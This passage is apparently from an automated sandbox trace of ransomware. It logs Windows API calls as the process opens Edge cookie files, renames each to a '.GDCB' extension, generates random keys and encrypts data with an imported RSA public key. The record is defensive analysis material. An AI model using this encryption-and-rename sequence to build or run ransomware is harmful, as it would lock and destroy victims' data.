Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\85DGK2J5.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\85dgk2j5.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.154] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.157] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.159] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0xd5, lpOverlapped=0x0) returned 1 [0248.169] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.176] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\85DGK2J5.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\85dgk2j5.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\85DGK2J5.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\85dgk2j5.txt.gdcb")) returned 1 [0248.180] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0248.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.185] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.185] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.185] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.185] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.188] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.190] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.190] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.190] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.190] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0248.192] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f508) returned 1 [0248.192] CryptGetKeyParam (in: hKey=0x677f508, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.192] CryptEncrypt (in: hKey=0x677f508, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.192] GetLastError () returned 0x0 [0248.193] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.193] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.194] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f348) returned 1 [0248.194] CryptGetKeyParam (in: hKey=0x677f348, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.194] CryptEncrypt (in: hKey=0x677f348, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.194] GetLastError () returned 0x0 [0248.194] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.194] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FPNDV7T3.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fpndv7t3.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.196] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.198] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.200] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x1a0, lpOverlapped=0x0) returned 1 [0248.210] VirtualAlloc (lpAddress=0x0, dwSize=0x1a0, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.229] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FPNDV7T3.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fpndv7t3.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\FPNDV7T3.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\fpndv7t3.txt.gdcb")) returned 1 [0248.232] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.235] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.237] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.237] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.237] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.237] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.240] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.242] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.242] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.242] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.242] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0248.244] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f4c8) returned 1 [0248.244] CryptGetKeyParam (in: hKey=0x677f4c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.244] CryptEncrypt (in: hKey=0x677f4c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.244] GetLastError () returned 0x0 [0248.244] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.244] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.246] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f248) returned 1 [0248.246] CryptGetKeyParam (in: hKey=0x677f248, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.246] CryptEncrypt (in: hKey=0x677f248, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.246] GetLastError () returned 0x0 [0248.246] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.246] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\J9KFLZDX.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\j9kflzdx.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.248] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.250] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.253] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x181, lpOverlapped=0x0) returned 1 [0248.261] VirtualAlloc (lpAddress=0x0, dwSize=0x190, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.268] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\J9KFLZDX.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\j9kflzdx.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\J9KFLZDX.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\j9kflzdx.txt.gdcb")) returned 1 [0248.272] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.275] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.277] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.277] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.277] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.277] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.279] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.281] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.281] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.281] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.282] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0248.284] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f808) returned 1 [0248.284] CryptGetKeyParam (in: hKey=0x677f808, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.284] CryptEncrypt (in: hKey=0x677f808, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.285] GetLastError () returned 0x0 [0248.285] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.285] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.287] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f088) returned 1 [0248.287] CryptGetKeyParam (in: hKey=0x677f088, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.287] CryptEncrypt (in: hKey=0x677f088, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.287] GetLastError () returned 0x0 [0248.287] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.287] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JN00AKV9.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jn00akv9.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.288] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.292] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.295] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x58, lpOverlapped=0x0) returned 1 [0248.349] VirtualAlloc (lpAddress=0x0, dwSize=0x60, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.356] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JN00AKV9.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jn00akv9.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\JN00AKV9.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\jn00akv9.txt.gdcb")) returned 1 [0248.362] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0248.366] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.369] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.369] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.369] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0248.369] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.372] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.374] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.374] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.374] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.374] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.377] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f108) returned 1 [0248.377] CryptGetKeyParam (in: hKey=0x677f108, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.377] CryptEncrypt (in: hKey=0x677f108, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.377] GetLastError () returned 0x0 [0248.377] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.377] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0248.379] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f5c8) returned 1 [0248.379] CryptGetKeyParam (in: hKey=0x677f5c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.379] CryptEncrypt (in: hKey=0x677f5c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.380] GetLastError () returned 0x0 [0248.380] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0248.380] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\OR8K8VRM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\or8k8vrm.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x520 [0248.381] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xc8a0000 [0248.384] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xc8b0000 [0248.387] ReadFile (in: hFile=0x520, lpBuffer=0xc8b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0xc8b0000*, lpNumberOfBytesRead=0x285d3e8*=0x104, lpOverlapped=0x0) returned 1 [0248.396] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0xc9c0000 [0248.403] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\OR8K8VRM.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\or8k8vrm.txt"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\OR8K8VRM.txt.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\or8k8vrm.txt.gdcb")) returned 1 [0248.407] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.410] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.412] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.412] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0248.412] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.412] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0248.415] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0248.417] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0248.417] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0248.417] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.418] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.420] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f288) returned 1 [0248.420] CryptGetKeyParam (in: hKey=0x677f288, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.420] CryptEncrypt (in: hKey=0x677f288, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc880000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xc880000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0248.420] GetLastError () returned 0x0 [0248.420] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.420] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0248.422] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x677f788) returned 1 [0248.422] CryptGetKeyParam (in: hKey=0x677f788, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0248.422] CryptEncrypt (in: hKey=0x677f788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xc890000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xc890000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0248.422] GetLastError () returned 0x0 [0248.422] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0248.422] CreateFileW (lpFileName="C:\\Documents and 